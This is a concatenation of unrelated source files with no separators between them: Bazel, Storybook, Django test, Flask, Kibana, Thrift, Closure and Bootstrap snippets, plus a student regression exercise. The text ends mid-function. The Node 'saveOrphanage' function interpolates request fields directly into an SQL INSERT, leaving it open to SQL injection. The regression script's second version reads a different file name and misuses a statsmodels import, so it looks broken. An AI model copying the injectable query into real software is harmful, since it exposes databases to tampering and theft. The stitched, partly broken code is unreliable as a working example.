# Copyright 2018 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Proxy file for referencing resource processing actions.""" load( "@build_bazel_rules_apple//apple/internal/resource_actions:actool.bzl", _compile_asset_catalog = "compile_asset_catalog", ) load( "@build_bazel_rules_apple//apple/internal/resource_actions:datamodel.bzl", _compile_datamodels = "compile_datamodels", _compile_mappingmodel = "compile_mappingmodel", ) load( "@build_bazel_rules_apple//apple/internal/resource_actions:ibtool.bzl", _compile_storyboard = "compile_storyboard", _compile_xib = "compile_xib", _link_storyboards = "link_storyboards", ) load( "@build_bazel_rules_apple//apple/internal/resource_actions:mlmodel.bzl", _compile_mlmodel = "compile_mlmodel", _generate_objc_mlmodel_sources = "generate_objc_mlmodel_sources", ) load( "@build_bazel_rules_apple//apple/internal/resource_actions:plist.bzl", _compile_plist = "compile_plist", _merge_resource_infoplists = "merge_resource_infoplists", _merge_root_infoplists = "merge_root_infoplists", _plisttool_action = "plisttool_action", ) load( "@build_bazel_rules_apple//apple/internal/resource_actions:png.bzl", _copy_png = "copy_png", ) load( "@build_bazel_rules_apple//apple/internal/resource_actions:texture_atlas.bzl", _compile_texture_atlas = "compile_texture_atlas", ) load( "@build_bazel_rules_apple//apple/internal/resource_actions:zip.bzl", _unzip = "unzip", ) resource_actions = struct( compile_asset_catalog = _compile_asset_catalog, compile_datamodels = _compile_datamodels, compile_mappingmodel = _compile_mappingmodel, compile_mlmodel = _compile_mlmodel, compile_plist = _compile_plist, compile_storyboard = _compile_storyboard, compile_texture_atlas = _compile_texture_atlas, compile_xib = _compile_xib, copy_png = _copy_png, generate_objc_mlmodel_sources = _generate_objc_mlmodel_sources, link_storyboards = _link_storyboards, merge_resource_infoplists = _merge_resource_infoplists, merge_root_infoplists = _merge_root_infoplists, plisttool_action = _plisttool_action, unzip = _unzip, )
import { addons } from '@storybook/addons'; import theme from './theme'; addons.setConfig({ theme, });
""" Write a Python code that fulfills the following specification. dataset: Female_Stats.csv The Data Are From 214 Females In Statistics Classes At The University Of California At Davis. Column1 = Student’s Self-Reported Height, Column2 = Student’s Guess At Her Mother’s Height, And Column 3 = Student’s Guess At Her Father’s Height. All Heights Are In Inches. task01: Build A Predictive Model And Conclude If Both Predictors (Independent Variables) Are Significant For A Students’ Height Or Not? (Use pvalue concepts). task02: When Father’s Height Is Held Constant, The Average Student Height Increases By How Many Inches For Each One-Inch Increase In Mother’s Height. task03: When Mother’s Height Is Held Constant, The Average Student Height Increases By How Many Inches For Each One-Inch Increase In Father’s Height. """ # Importing the libraries import numpy as np import pandas as pd # Importing the dataset dataset = pd.read_csv('Female_Stats.csv') # Check data Types for each columns print(dataset.dtypes) # Seperate Features and Labels features = dataset.iloc[:,1:].values labels = dataset.iloc[:, [0]].values # Check Column wise is any data is missing or NaN dataset.isnull().any(axis=0) from sklearn.model_selection import train_test_split features_train, features_test, labels_train, labels_test = train_test_split(features, labels, test_size = 0.2, random_state = 0) # Fitting Multiple Linear Regression to the Training set # Whether we have Univariate or Multivariate, class is LinearRegression from sklearn.linear_model import LinearRegression regressor = LinearRegression() regressor.fit(features_train, labels_train) Pred = regressor.predict(features_test) print (pd.DataFrame(zip(np.round(Pred,2), labels_test))) import statsmodels.api as sm features_sm = sm.add_constant(features) est = sm.OLS(labels, features_sm) est2 = est.fit() print (est2.summary()) """ as both columns ( mom and dad are having p values less than 5%, both heights are significant for student's height) """ """ When Father’s Height Is Held Constant, The Average Student Height Increases By How Many Inches For Each One-Inch Increase In Mother’s Height. """ print (regressor.coef_[0][0]) """ When Mother’s Height Is Held Constant, The Average Student Height Increases By How Many Inches For Each One-Inch Increase In Father’s Height. """ print (regressor.coef_[0][1]) # Version 2 of solution import pandas as pd import numpy as np dataset=pd.read_csv("stats_females.csv") features=dataset.iloc[:,1:] labels=dataset.iloc[:,0] from sklearn.model_selection import train_test_split features_train,features_test,labels_train,labels_test=train_test_split(features,labels,test_size=0.2,random_state=0) from sklearn.linear_model import LinearRegression reg=LinearRegression() reg.fit(features_train,labels_train) import statsmodels.formula.api as sm features=np.append(arr=np.ones((214,1)).astype(int),values=features,axis=1) features_opt=features[:,[0,1,2]] regressor_OLS=sm.OLS(labels,features_opt).fit() regressor_OLS.summary() """ When Father’s Height Is Held Constant, The Average Student Height Increases By How Many Inches For Each One-Inch Increase In Mother’s Height. """ print("When Father's Height is Held Constant then the average height increase by",regressor_OLS.params[1]) print("When Mother's Height is Held Constant then the average height increase by",regressor_OLS.params[2])
""" ImageNet-1K classification dataset. """ import os import math import cv2 import numpy as np from PIL import Image from torchvision.datasets import ImageFolder import torchvision.transforms as transforms from .dataset_metainfo import DatasetMetaInfo class ImageNet1K(ImageFolder): """ ImageNet-1K classification dataset. Parameters: ---------- root : str, default '~/.torch/datasets/imagenet' Path to the folder stored the dataset. mode : str, default 'train' 'train', 'val', or 'test'. transform : function, default None A function that takes data and label and transforms them. """ def __init__(self, root=os.path.join("~", ".torch", "datasets", "imagenet"), mode="train", transform=None): split = "train" if mode == "train" else "val" root = os.path.join(root, split) super(ImageNet1K, self).__init__(root=root, transform=transform) class ImageNet1KMetaInfo(DatasetMetaInfo): """ Descriptor of ImageNet-1K dataset. """ def __init__(self): super(ImageNet1KMetaInfo, self).__init__() self.label = "ImageNet1K" self.short_label = "imagenet" self.root_dir_name = "imagenet" self.dataset_class = ImageNet1K self.num_training_samples = None self.in_channels = 3 self.num_classes = 1000 self.input_image_size = (224, 224) self.resize_inv_factor = 0.875 self.train_metric_capts = ["Train.Top1"] self.train_metric_names = ["Top1Error"] self.train_metric_extra_kwargs = [{"name": "err-top1"}] self.val_metric_capts = ["Val.Top1", "Val.Top5"] self.val_metric_names = ["Top1Error", "TopKError"] self.val_metric_extra_kwargs = [{"name": "err-top1"}, {"name": "err-top5", "top_k": 5}] self.saver_acc_ind = 1 self.train_transform = imagenet_train_transform self.val_transform = imagenet_val_transform self.test_transform = imagenet_val_transform self.ml_type = "imgcls" self.use_cv_resize = False self.mean_rgb = (0.485, 0.456, 0.406) self.std_rgb = (0.229, 0.224, 0.225) self.interpolation = Image.BILINEAR def add_dataset_parser_arguments(self, parser, work_dir_path): """ Create python script parameters (for ImageNet-1K dataset metainfo). Parameters: ---------- parser : ArgumentParser ArgumentParser instance. work_dir_path : str Path to working directory. """ super(ImageNet1KMetaInfo, self).add_dataset_parser_arguments(parser, work_dir_path) parser.add_argument( "--input-size", type=int, default=self.input_image_size[0], help="size of the input for model") parser.add_argument( "--resize-inv-factor", type=float, default=self.resize_inv_factor, help="inverted ratio for input image crop") parser.add_argument( "--use-cv-resize", action="store_true", help="use OpenCV resize preprocessing") parser.add_argument( "--mean-rgb", nargs=3, type=float, default=self.mean_rgb, help="Mean of RGB channels in the dataset") parser.add_argument( "--std-rgb", nargs=3, type=float, default=self.std_rgb, help="STD of RGB channels in the dataset") parser.add_argument( "--interpolation", type=int, default=self.interpolation, help="Preprocessing interpolation") def update(self, args): """ Update ImageNet-1K dataset metainfo after user customizing. Parameters: ---------- args : ArgumentParser Main script arguments. """ super(ImageNet1KMetaInfo, self).update(args) self.input_image_size = (args.input_size, args.input_size) self.use_cv_resize = args.use_cv_resize self.mean_rgb = args.mean_rgb self.std_rgb = args.std_rgb self.interpolation = args.interpolation def imagenet_train_transform(ds_metainfo, jitter_param=0.4): """ Create image transform sequence for training subset. Parameters: ---------- ds_metainfo : DatasetMetaInfo ImageNet-1K dataset metainfo. jitter_param : float How much to jitter values. Returns: ------- Compose Image transform sequence. """ input_image_size = ds_metainfo.input_image_size return transforms.Compose([ transforms.RandomResizedCrop(size=input_image_size, interpolation=ds_metainfo.interpolation), transforms.RandomHorizontalFlip(), transforms.ColorJitter( brightness=jitter_param, contrast=jitter_param, saturation=jitter_param), transforms.ToTensor(), transforms.Normalize( mean=ds_metainfo.mean_rgb, std=ds_metainfo.std_rgb) ]) def imagenet_val_transform(ds_metainfo): """ Create image transform sequence for validation subset. Parameters: ---------- ds_metainfo : DatasetMetaInfo ImageNet-1K dataset metainfo. Returns: ------- Compose Image transform sequence. """ input_image_size = ds_metainfo.input_image_size resize_value = calc_val_resize_value( input_image_size=ds_metainfo.input_image_size, resize_inv_factor=ds_metainfo.resize_inv_factor) return transforms.Compose([ CvResize(size=resize_value, interpolation=ds_metainfo.interpolation) if ds_metainfo.use_cv_resize else transforms.Resize(size=resize_value, interpolation=ds_metainfo.interpolation), transforms.CenterCrop(size=input_image_size), transforms.ToTensor(), transforms.Normalize( mean=ds_metainfo.mean_rgb, std=ds_metainfo.std_rgb) ]) class CvResize(object): """ Resize the input PIL Image to the given size via OpenCV. Parameters: ---------- size : int or tuple of (W, H) Size of output image. interpolation : int, default PIL.Image.BILINEAR Interpolation method for resizing. By default uses bilinear interpolation. """ def __init__(self, size, interpolation=Image.BILINEAR): self.size = size self.interpolation = interpolation def __call__(self, img): """ Resize image. Parameters: ---------- img : PIL.Image input image. Returns: ------- PIL.Image Resulted image. """ if self.interpolation == Image.NEAREST: cv_interpolation = cv2.INTER_NEAREST elif self.interpolation == Image.BILINEAR: cv_interpolation = cv2.INTER_LINEAR elif self.interpolation == Image.BICUBIC: cv_interpolation = cv2.INTER_CUBIC elif self.interpolation == Image.LANCZOS: cv_interpolation = cv2.INTER_LANCZOS4 else: raise ValueError() cv_img = np.array(img) if isinstance(self.size, int): w, h = img.size if (w <= h and w == self.size) or (h <= w and h == self.size): return img if w < h: out_size = (self.size, int(self.size * h / w)) else: out_size = (int(self.size * w / h), self.size) cv_img = cv2.resize(cv_img, dsize=out_size, interpolation=cv_interpolation) return Image.fromarray(cv_img) else: cv_img = cv2.resize(cv_img, dsize=self.size, interpolation=cv_interpolation) return Image.fromarray(cv_img) def calc_val_resize_value(input_image_size=(224, 224), resize_inv_factor=0.875): """ Calculate image resize value for validation subset. Parameters: ---------- input_image_size : tuple of 2 int Main script arguments. resize_inv_factor : float Resize inverted factor. Returns: ------- int Resize value. """ if isinstance(input_image_size, int): input_image_size = (input_image_size, input_image_size) resize_value = int(math.ceil(float(input_image_size[0]) / resize_inv_factor)) return resize_value
function saveOrphanage(db, orphanage) { return db.run(` INSERT INTO orphanages ( lat, lng, name, about, whatsapp, images, instructions, opening_hours, open_on_weekends ) VALUES ( "${orphanage.lat}", "${orphanage.lng}", "${orphanage.name}", "${orphanage.about}", "${orphanage.whatsapp}", "${orphanage.images}", "${orphanage.instructions}", "${orphanage.opening_hours}", "${orphanage.open_on_weekends}" ); `); } module.exports = saveOrphanage;
import os import shutil import numpy as np # do not seed because RNG's purpose is to avoid filename conflicts _filerng = np.random.default_rng() class TargetFileExists(Exception): pass class cached_file(object): def __init__(self, fn): os.makedirs(os.path.dirname(fn), exist_ok=True) self.final_fn = fn def __enter__(self): if os.path.exists(self.final_fn): raise TargetFileExists(self.final_fn) self.tmp_fn = f"{self.final_fn}.tmp_{os.getpid()}_{_filerng.random()}" return self.tmp_fn def __exit__(self, extype, value, traceback): if extype is not None: # caught an exception os.remove(self.tmp_fn) return if os.path.exists(self.final_fn): raise TargetFileExists(self.final_fn) # TODO race condition between exists() and move(). should be safe, since contents should be deterministic? shutil.move(self.tmp_fn, self.final_fn)
# from django.core.exceptions import ImproperlyConfigured # from django.db import models # from django.db.models.base import ModelBase # from django.test import TestCase # from polymorphic.models import PolymorphicModel, PolymorphicModelBase # from shop import deferred # # import copy # from types import new_class # # # def create_regular_class(name, fields={}, meta={}): # meta.setdefault('app_label', 'foo') # Meta = type(str('Meta'), (), meta) # return type(str(name), (models.Model,), dict(Meta=Meta, __module__=__name__, **fields)) # # # def create_deferred_base_class(name, fields={}, meta={}, polymorphic=False): # metaclass = deferred.ForeignKeyBuilder # model_class = models.Model # # if polymorphic: # metaclass = deferred.PolymorphicForeignKeyBuilder # model_class = PolymorphicModel # # meta.setdefault('app_label', 'foo') # meta.setdefault('abstract', True) # Meta = type(str('Meta'), (), meta) # cls_dict = dict(Meta=Meta, __metaclass__=metaclass, __module__=__name__, **fields) # return new_class(name, (model_class,), {'metaclass': metaclass}, lambda attrs: attrs.update(cls_dict)) # # # def create_deferred_class(name, base, fields={}, meta={}, mixins=()): # meta.setdefault('app_label', 'bar') # Meta = type(str('Meta'), (), meta) # return type(str(name), mixins + (base,), dict(Meta=Meta, __module__=__name__, **fields)) # # # RegularUser = create_regular_class('RegularUser') # DeferredBaseUser = create_deferred_base_class('DeferredBaseUser') # DeferredUser = create_deferred_class('DeferredUser', DeferredBaseUser) # # # RegularCustomer = create_regular_class('RegularCustomer', { # 'user': models.OneToOneField(RegularUser, on_delete=models.PROTECT), # 'advertised_by': models.ForeignKey('self', null=True, blank=True, on_delete=models.SET_NULL), # }) # DeferredBaseCustomer = create_deferred_base_class('DeferredBaseCustomer', { # 'user': deferred.OneToOneField(DeferredBaseUser, on_delete=models.PROTECT), # 'advertised_by': deferred.ForeignKey('self', null=True, blank=True, on_delete=models.SET_NULL), # }) # DeferredCustomer = create_deferred_class('DeferredCustomer', DeferredBaseCustomer) # # # RegularProduct = create_regular_class('RegularProduct') # DeferredBaseProduct = create_deferred_base_class('DeferredBaseProduct') # DeferredProduct = create_deferred_class('DeferredProduct', DeferredBaseProduct) # # # # Order is important, it must be declared before DeferredOrder, so that fulfillment tests make sense # DeferredBaseOrderItemBeforeOrder = create_deferred_base_class('DeferredBaseOrderItemBeforeOrder', { # 'order': deferred.ForeignKey('DeferredBaseOrder', on_delete=models.CASCADE), # 'product': deferred.ForeignKey(DeferredBaseProduct, on_delete=models.PROTECT), # }) # DeferredOrderItemBeforeOrder = create_deferred_class('DeferredOrderItemBeforeOrder', DeferredBaseOrderItemBeforeOrder) # # # RegularOrder = create_regular_class('RegularOrder', { # 'customer': models.ForeignKey(RegularCustomer, on_delete=models.PROTECT), # 'items_simple': models.ManyToManyField(RegularProduct), # 'items_through_fulfill_by_order_item': models.ManyToManyField('RegularProductAfterOrder', through='RegularOrderItemAfterOrderAndProduct'), # }) # DeferredBaseOrder = create_deferred_base_class('DeferredBaseOrder', { # 'customer': deferred.ForeignKey(DeferredBaseCustomer, on_delete=models.PROTECT), # 'items_simple': deferred.ManyToManyField(DeferredBaseProduct), # 'items_simple_fulfill_by_product': deferred.ManyToManyField('DeferredBaseProductAfterOrder'), # 'items_through_fulfill_by_order_item': deferred.ManyToManyField('DeferredBaseProductAfterOrder', through='DeferredBaseOrderItemAfterOrderAndProduct'), # 'items_through_fulfill_by_order': deferred.ManyToManyField(DeferredBaseProduct, through=DeferredBaseOrderItemBeforeOrder), # 'items_through_fulfill_by_product': deferred.ManyToManyField('DeferredBaseProductAfterOrder', through='DeferredBaseOrderItemBeforeProduct'), # }) # DeferredOrder = create_deferred_class('DeferredOrder', DeferredBaseOrder) # # # # Order is important, it must be declared before DeferredProductAfterOrder, so that fulfillment tests make sense # DeferredBaseOrderItemBeforeProduct = create_deferred_base_class('DeferredBaseOrderItemBeforeProduct', { # 'order': deferred.ForeignKey(DeferredBaseOrder, on_delete=models.CASCADE), # 'product': deferred.ForeignKey('DeferredBaseProductAfterOrder', on_delete=models.PROTECT), # }) # DeferredOrderItemBeforeProduct = create_deferred_class('DeferredOrderItemBeforeProduct', DeferredBaseOrderItemBeforeProduct) # # # # Order is important, it must be declared after DeferredOrder, so that fulfillment tests make sense # RegularProductAfterOrder = create_regular_class('RegularProductAfterOrder') # DeferredBaseProductAfterOrder = create_deferred_base_class('DeferredBaseProductAfterOrder') # DeferredProductAfterOrder = create_deferred_class('DeferredProductAfterOrder', DeferredBaseProductAfterOrder) # # # # Order is important, it must be declared after DeferredOrder and DeferredPrdoductAfterOrder, so that fulfillment tests make sense # RegularOrderItemAfterOrderAndProduct = create_regular_class('RegularOrderItemAfterOrderAndProduct', { # 'order': models.ForeignKey(RegularOrder, on_delete=models.CASCADE), # 'product': models.ForeignKey(RegularProductAfterOrder, on_delete=models.PROTECT), # }) # DeferredBaseOrderItemAfterOrderAndProduct = create_deferred_base_class('DeferredBaseOrderItemAfterOrderAndProduct', { # 'order': deferred.ForeignKey(DeferredBaseOrder, on_delete=models.CASCADE), # 'product': deferred.ForeignKey(DeferredBaseProductAfterOrder, on_delete=models.PROTECT), # }) # DeferredOrderItemAfterOrderAndProduct = create_deferred_class('DeferredOrderItemAfterOrderAndProduct', DeferredBaseOrderItemAfterOrderAndProduct) # # # OrderPayment = create_deferred_base_class('OrderPayment', { # 'order': deferred.ForeignKey(DeferredBaseOrder, on_delete=models.CASCADE), # }, {'abstract': False}) # # # DeferredBaseOrderPaymentLog = create_deferred_base_class('DeferredBaseOrderPaymentLog', { # 'order_payment': deferred.ForeignKey(OrderPayment, on_delete=models.CASCADE), # }) # DeferredOrderPaymentLog = create_deferred_class('DeferredOrderPaymentLog', DeferredBaseOrderPaymentLog) # # # DeferredBasePolymorphicProduct = create_deferred_base_class('DeferredBasePolymorphicProduct', { # 'owner': deferred.ForeignKey(DeferredBaseCustomer, on_delete=models.PROTECT), # }, polymorphic=True) # DeferredPolymorphicProduct = create_deferred_class('DeferredPolymorphicProduct', DeferredBasePolymorphicProduct) # # # class DeferredTestCase(TestCase): # # def assert_same_model(self, to, model): # if isinstance(to, str): # self.assertEqual(to, model.__name__) # else: # self.assertIs(to, model) # # def _test_foreign_key(self, from_class, to_class, field_attribute): # field = from_class._meta.get_field(field_attribute) # # self.assertTrue(field.is_relation) # self.assertTrue(field.many_to_one) # self.assert_same_model(field.related_model, to_class) # # def test_foreign_key_regular(self): # self._test_foreign_key(RegularOrder, RegularCustomer, 'customer') # # def test_foreign_key_deferred(self): # self._test_foreign_key(DeferredOrder, DeferredCustomer, 'customer') # # def _test_one_to_one_field(self, customer_class, user_class): # user_field = customer_class._meta.get_field('user') # # self.assertTrue(user_field.is_relation) # self.assertTrue(user_field.one_to_one) # self.assert_same_model(user_field.related_model, user_class) # # def test_one_to_one_field_regular(self): # self._test_one_to_one_field(RegularCustomer, RegularUser) # # def test_one_to_one_field_deferred(self): # self._test_one_to_one_field(DeferredCustomer, DeferredUser) # # def _test_many_to_may_field_simple(self, order_class, product_class, items_field_attribute): # items_field = order_class._meta.get_field(items_field_attribute) # # self.assertTrue(items_field.is_relation) # self.assertTrue(items_field.many_to_many) # self.assert_same_model(items_field.related_model, product_class) # # m2m_field_name = items_field.m2m_field_name() # m2m_field = items_field.remote_field.through._meta.get_field(m2m_field_name) # m2m_reverse_field_name = items_field.m2m_reverse_field_name() # m2m_reverse_field = items_field.remote_field.through._meta.get_field(m2m_reverse_field_name) # # self.assert_same_model(m2m_field.related_model, order_class) # self.assert_same_model(m2m_reverse_field.related_model, product_class) # # def test_many_to_many_field_simple_regular(self): # self._test_many_to_may_field_simple( # RegularOrder, # RegularProduct, # items_field_attribute='items_simple', # ) # # def test_many_to_many_field_simple_deferred(self): # self._test_many_to_may_field_simple( # DeferredOrder, # DeferredProduct, # items_field_attribute='items_simple', # ) # # def test_many_to_many_field_simple_deferred_by_product(self): # self._test_many_to_may_field_simple( # DeferredOrder, # DeferredProductAfterOrder, # items_field_attribute='items_simple_fulfill_by_product', # ) # # def _test_many_to_may_field_through(self, order_class, product_class, order_item_class, items_field_attribute): # items_field = order_class._meta.get_field(items_field_attribute) # # self.assertTrue(items_field.is_relation) # self.assertTrue(items_field.many_to_many) # self.assert_same_model(items_field.related_model, product_class) # self.assert_same_model(items_field.remote_field.through, order_item_class) # # m2m_field_name = items_field.m2m_field_name() # m2m_field = items_field.remote_field.through._meta.get_field(m2m_field_name) # m2m_reverse_field_name = items_field.m2m_reverse_field_name() # m2m_reverse_field = items_field.remote_field.through._meta.get_field(m2m_reverse_field_name) # # self.assert_same_model(m2m_field.related_model, order_class) # self.assert_same_model(m2m_reverse_field.related_model, product_class) # # def test_many_to_many_field_through_regular(self): # self._test_many_to_may_field_through( # RegularOrder, # RegularProductAfterOrder, # RegularOrderItemAfterOrderAndProduct, # items_field_attribute='items_through_fulfill_by_order_item', # ) # # def test_many_to_many_field_through_deferred(self): # self._test_many_to_may_field_through( # DeferredOrder, # DeferredProductAfterOrder, # DeferredOrderItemAfterOrderAndProduct, # items_field_attribute='items_through_fulfill_by_order_item', # ) # # def test_many_to_many_field_through_deferred_by_order(self): # self._test_many_to_may_field_through( # DeferredOrder, # DeferredProduct, # DeferredOrderItemBeforeOrder, # items_field_attribute='items_through_fulfill_by_order', # ) # # def test_many_to_many_field_through_deferred_by_product(self): # self._test_many_to_may_field_through( # DeferredOrder, # DeferredProductAfterOrder, # DeferredOrderItemBeforeProduct, # items_field_attribute='items_through_fulfill_by_product', # ) # # def _test_foreign_key_self(self, customer_class): # advertised_by_field = customer_class._meta.get_field('advertised_by') # # self.assertTrue(advertised_by_field.is_relation) # self.assertTrue(advertised_by_field.many_to_one) # self.assert_same_model(advertised_by_field.related_model, customer_class) # # def test_foreign_key_self_regular(self): # self._test_foreign_key_self(RegularCustomer) # # def test_foreign_key_self_deferred(self): # self._test_foreign_key_self(DeferredCustomer) # # def test_extend_deferred_model_allowed(self): # """ # Extending a deferred model is allowed, # but deferred relations will still reference the (first) deferred model. # """ # create_deferred_class('Customer', DeferredCustomer) # # OrderBase = create_deferred_base_class('OrderBase', { # 'customer': deferred.ForeignKey(DeferredBaseCustomer, on_delete=models.PROTECT), # }) # Order = create_deferred_class('Order', OrderBase) # # self._test_foreign_key(DeferredOrder, DeferredCustomer, 'customer') # self._test_foreign_key(Order, DeferredCustomer, 'customer') # # def test_extend_deferred_base_model_allowed_only_once(self): # with self.assertRaisesRegex(ImproperlyConfigured, "Both Model classes 'Product' and 'DeferredProduct' inherited from abstract base class DeferredBaseProduct"): # create_deferred_class('Product', DeferredBaseProduct) # # def test_non_abstract_deferred_base_model_allowed(self): # self._test_foreign_key(OrderPayment, DeferredOrder, 'order') # self._test_foreign_key(DeferredOrderPaymentLog, OrderPayment, 'order_payment'), # # def test_extend_non_abstract_deferred_base_model_allowed(self): # """ # Extending a non abstract deferred model is allowed, # but deferred relations will still reference the (first) deferred model. # """ # create_deferred_class('OrderPaymentSubclass', OrderPayment) # # BaseOrderPaymentLog = create_deferred_base_class('BaseOrderPaymentLog', { # 'order_payment': deferred.ForeignKey(OrderPayment, on_delete=models.CASCADE), # }) # OrderPaymentLog = create_deferred_class('OrderPaymentLog', BaseOrderPaymentLog) # # self._test_foreign_key(DeferredOrderPaymentLog, OrderPayment, 'order_payment') # self._test_foreign_key(OrderPaymentLog, OrderPayment, 'order_payment') # # def test_extend_non_abstract_deferred_base_model_always_allowed(self): # create_deferred_class('OrderPaymentSubclass1', OrderPayment) # create_deferred_class('OrderPaymentSubclass2', OrderPayment) # # def test_polymorphic_base_model(self): # self.assertTrue(issubclass(DeferredPolymorphicProduct, PolymorphicModel)) # self.assertTrue(isinstance(DeferredPolymorphicProduct, PolymorphicModelBase)) # self._test_foreign_key(DeferredPolymorphicProduct, DeferredCustomer, 'owner') # # def test_mixins_allowed(self): # SomeMixin = type(str('SomeMixin'), (object,), {}) # BaseModel = create_regular_class('BaseModel', meta={'abstract': True}) # MixinBaseProduct = create_deferred_base_class('MixinBaseProduct') # MixinProduct = create_deferred_class('MixinProduct', MixinBaseProduct, mixins=(SomeMixin, BaseModel)) # # self.assertTrue(issubclass(MixinProduct, SomeMixin)) # self.assertTrue(issubclass(MixinProduct, BaseModel)) # # def test_check_for_pending_mappings(self): # deferred.ForeignKeyBuilder.check_for_pending_mappings() # # PendingMappingBaseCustomer = create_deferred_base_class('PendingMappingBaseCustomer') # PendingMappingBaseOrder = create_deferred_base_class('PendingMappingBaseOrder', { # 'customer': deferred.ForeignKey(PendingMappingBaseCustomer, on_delete=models.PROTECT), # }) # # deferred.ForeignKeyBuilder.check_for_pending_mappings() # # create_deferred_class('PendingMappingOrder', PendingMappingBaseOrder) # # with self.assertRaisesRegex(ImproperlyConfigured, "Deferred foreign key 'PendingMappingOrder.customer' has not been mapped"): # deferred.ForeignKeyBuilder.check_for_pending_mappings() # # # class MaterializedModelTestCase(TestCase): # # def setUp(self): # self.OrderModel = deferred.MaterializedModel(DeferredBaseOrder) # # def test_types(self): # self.assertTrue(isinstance(self.OrderModel, ModelBase)) # self.assertTrue(issubclass(self.OrderModel, models.Model)) # self.assertIs(type(self.OrderModel), deferred.MaterializedModel) # # def test_call(self): # order = self.OrderModel() # # self.assertTrue(isinstance(order, DeferredOrder)) # # def test_repr(self): # self.assertEqual(repr(self.OrderModel), "<MaterializedModel: <class 'test_deferred.DeferredBaseOrder'>>") # # self.OrderModel._setup() # # self.assertEqual(repr(self.OrderModel), "<MaterializedModel: <class 'test_deferred.DeferredOrder'>>") # # def test_copy_uninitialized(self): # OrderModelDeepCopy = copy.copy(self.OrderModel) # # self.assertIs(type(OrderModelDeepCopy), deferred.MaterializedModel) # # # Ensure that base_model was copied # OrderModelDeepCopy._setup() # # def test_copy_initialized(self): # self.OrderModel._setup() # OrderModelDeepCopy = copy.copy(self.OrderModel) # # self.assertIs(OrderModelDeepCopy, DeferredOrder) # # def test_deepcopy_uninitialized(self): # OrderModelDeepCopy = copy.deepcopy(self.OrderModel) # # self.assertIs(type(OrderModelDeepCopy), deferred.MaterializedModel) # # # Ensure that base_model was copied # OrderModelDeepCopy._setup() # # def test_deepcopy_initialized(self): # self.OrderModel._setup() # OrderModelDeepCopy = copy.deepcopy(self.OrderModel) # # self.assertIs(OrderModelDeepCopy, DeferredOrder) # # def test_error_when_initializing_unmapped_model(self): # Unmapped = create_deferred_base_class('Unmapped') # UnmappedModel = deferred.MaterializedModel(Unmapped) # # with self.assertRaisesRegex(ImproperlyConfigured, 'No class implements abstract base model: `Unmapped`.'): # UnmappedModel._setup()
#!/usr/bin/env python import app_config import datetime import json import logging import oauth import static from flask import Flask, make_response, render_template from flask_admin import Admin from flask_admin.contrib.peewee import ModelView from models import models from render_utils import make_context, smarty_filter, urlencode_filter from werkzeug.debug import DebuggedApplication app = Flask(__name__) app.debug = app_config.DEBUG admin = Admin(app, name=app_config.PROJECT_SLUG) admin.add_view(ModelView(models.TestModel)) logging.basicConfig(format=app_config.LOG_FORMAT) logger = logging.getLogger(__name__) logger.setLevel(app_config.LOG_LEVEL) try: file_handler = logging.FileHandler('%s/public_app.log' % app_config.SERVER_LOG_PATH) file_handler.setLevel(logging.INFO) app.logger.addHandler(file_handler) except IOError: logger.warn('Could not open %s/public_app.log, skipping file-based logging' % app_config.SERVER_LOG_PATH) app.logger.setLevel(logging.INFO) app.register_blueprint(static.static, url_prefix='/%s' % app_config.PROJECT_SLUG) app.register_blueprint(oauth.oauth, url_prefix='/%s' % app_config.PROJECT_SLUG) app.add_template_filter(smarty_filter, name='smarty') app.add_template_filter(urlencode_filter, name='urlencode') # Example of rendering index.html with public_app @app.route ('/%s/' % app_config.PROJECT_SLUG, methods=['GET']) @oauth.oauth_required def index(): """ Example view rendering a simple page. """ context = make_context(asset_depth=1) return make_response(render_template('index.html', **context)) # Enable Werkzeug debug pages if app_config.DEBUG: wsgi_app = DebuggedApplication(app, evalex=False) else: wsgi_app = app # Catch attempts to run the app directly if __name__ == '__main__': logger.error('This command has been removed! Please run "fab public_app" instead!')
/* * Licensed to Elasticsearch B.V. under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch B.V. licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ import _ from 'lodash'; import { detectIE } from './detect_ie'; export const createTextHandler = handleChange => { return (name, defaultValue) => e => { // IE preventDefault breaks input, but we still need top prevent enter from being pressed if (!detectIE() || e.keyCode === 13) e.preventDefault(); const value = _.get(e, 'target.value', defaultValue); return handleChange?.({ [name]: value }); }; };
# # Autogenerated by Thrift Compiler (0.9.2) # # DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING # # options string: py:utf8strings # from thrift.Thrift import TType, TMessageType, TException, TApplicationException from ttypes import *
goog.declareModuleId('os.job.JobCommand'); /** * Worker control commands. * @enum {number} */ const JobCommand = { 'START': 0, 'STOP': 1, 'PAUSE': 2 }; goog.exportSymbol('os.job.JobCommand', JobCommand); export default JobCommand;
/* ============================================================= * bootstrap-scrollspy.js v2.0.1 * http://twitter.github.com/bootstrap/javascript.html#scrollspy * ============================================================= * Copyright 2012 Twitter, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ============================================================== */ !function ( $ ) { "use strict" /* SCROLLSPY CLASS DEFINITION * ========================== */ function ScrollSpy( element, options) { var process = $.proxy(this.process, this) , $element = $(element).is('body') ? $(window) : $(element) , href this.options = $.extend({}, $.fn.scrollspy.defaults, options) this.$scrollElement = $element.on('scroll.scroll.data-api', process) this.selector = (this.options.target || ((href = $(element).attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) //strip for ie7 || '') + ' .nav li > a' this.$body = $('body').on('click.scroll.data-api', this.selector, process) 